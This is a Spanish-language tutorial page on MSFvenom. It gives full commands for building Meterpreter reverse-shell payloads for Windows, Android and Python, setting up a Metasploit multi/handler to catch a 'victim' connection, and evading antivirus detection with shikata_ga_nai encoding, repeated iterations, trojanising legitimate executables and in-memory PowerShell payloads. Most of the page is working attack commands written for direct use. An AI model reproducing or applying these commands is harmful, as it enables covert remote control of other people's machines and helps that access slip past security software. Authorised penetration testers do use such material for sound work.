Hacking y Ciberseguridad evadir antivirus con MSFvenom
www.onlinetis.com
Hacking y Ciberseguridad evadir antivirus con MSFvenom
¿Qué es MSFvenom?
MSFvenom es una herramienta de línea de comandos en Kali Linux que se utiliza para generar payloads (cargas útiles) maliciosos. Es una combinación de las herramientas msfpayload
y msfencode
, simplificando el proceso de creación de exploits.
Usos Principales
Puedes usar MSFvenom para crear varios tipos de payloads, incluyendo:
Reverse Shells: El payload se conecta a tu máquina de atacante, dándote control sobre la máquina de la víctima. 🐚
Bind Shells: El payload abre un puerto en la máquina de la víctima, esperando una conexión entrante. 🚪
Metasploit Payloads: Payloads que aprovechan el framework de Metasploit.
Sintaxis Básica
La sintaxis básica de MSFvenom es:
msfvenom -p <payload> <opciones> -f <formato> -o <salida>
-p <payload>
: Define el tipo de payload que vas a usar. Por ejemplo,windows/meterpreter/reverse_tcp
.<opciones>
: Opciones específicas para el payload. Las más comunes son:LHOST=<IP>
: Tu dirección IP local (la de tu máquina atacante).LPORT=<puerto>
: El puerto que usarás para escuchar la conexión (ej. 4444).
-f <formato>
: El formato del archivo de salida. Algunos formatos comunes sonexe
(ejecutable de Windows),asp
(página web), opy
(script de Python).-o <salida>
: El nombre del archivo de salida donde se guardará el payload.
Ejemplos Prácticos
1. Generar un Reverse Shell para Windows
Este comando crea un ejecutable para Windows que, al ser ejecutado, se conectará a tu dirección IP (192.168.1.100
) en el puerto 4444
.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
2. Generar un Payload para Android
Para un dispositivo Android, puedes generar un archivo APK. El payload se activará al instalar la aplicación.
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o app.apk
3. Generar un Payload en Python
Este comando crea un script en Python que puedes incrustar en otro script.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o payload.py
Escuchando la Conexión
Una vez que has generado el payload y la víctima lo ha ejecutado, necesitas una forma de "escuchar" la conexión entrante. Esto se hace con el Metasploit Framework
.
Abre la consola de Metasploit escribiendo
msfconsole
en la terminal.Usa el exploit que corresponde a tu payload. En este caso, el multi-handler.
Bashuse exploit/multi/handler
Configura el payload y las opciones (
LHOST
yLPORT
) para que coincidan con las que usaste enmsfvenom
.Bashset payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444
Ejecuta el exploit en modo de escucha.
Bashexploit
Ahora, cuando la víctima ejecute el payload.exe
, obtendrás una sesión de Meterpreter en tu consola de Metasploit, dándote control total sobre la máquina.
Técnicas de Evasión con MSFvenom
Uso de Codificadores (-e):
Los codificadores de MSFvenom transforman el payload original para que su firma binaria cambie. Un codificador popular es shikata_ga_nai, que utiliza un algoritmo polimórfico para generar un código único en cada iteración.
Comando Básico:
Bashmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe -o payload_encoded.exe
Múltiples Iteraciones (-i):
Para aumentar la evasión, puedes aplicar el codificador varias veces. Esto hace que el patrón del código sea más difícil de detectar.
Bashmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload_encoded_multiple.exe
Uso de Plantillas (-x) y Firmas de Código (-k):
Puedes incrustar tu payload malicioso en un archivo ejecutable legítimo, como un programa de Windows inofensivo. El comando -x especifica la ruta a este "portador" (.exe o .dll), y -k mantiene su funcionalidad original. Esto ayuda a evadir la detección basada en firmas, ya que el archivo base es un programa conocido y no malicioso.
Comando:
Bashmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /ruta/a/programa_legitimo.exe -k -f exe -o payload_final.exe
Generación de Payloads en Distintos Formatos (-f):
Los antivirus están muy enfocados en los archivos .exe de Windows. Generar payloads en otros formatos puede ser una forma de evadir la detección, al menos de manera inicial. Puedes generar scripts en Python (py), PowerShell (psh), o archivos .dll que se inyectan en procesos.
Ejemplo para PowerShell:
Bashmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh-cmd -o payload.ps1
Este comando crea un script que puede ser ejecutado directamente en la memoria del sistema, evitando que se escriba un archivo malicioso en el disco.
Consideraciones Adicionales
AVs Basados en Comportamiento: Los métodos mencionados se centran principalmente en la detección estática (basada en firmas). Sin embargo, los antivirus modernos también usan la detección heurística y de comportamiento, que analiza lo que hace el payload una vez en ejecución (por ejemplo, si intenta conectarse a un servidor externo o modificar archivos críticos del sistema).
Herramientas Complementarias: MSFvenom es solo el primer paso. Para una evasión más avanzada, los pentesters a menudo usan herramientas adicionales como
Veil-Framework
oObfuscators
que aplican técnicas más sofisticadas como la ofuscación de código o la inyección en memoria.Actualización Constante: Los AVs se actualizan constantemente con nuevas firmas y heurísticas. Un payload que evade la detección hoy puede ser detectado mañana. Es una carrera de armamento.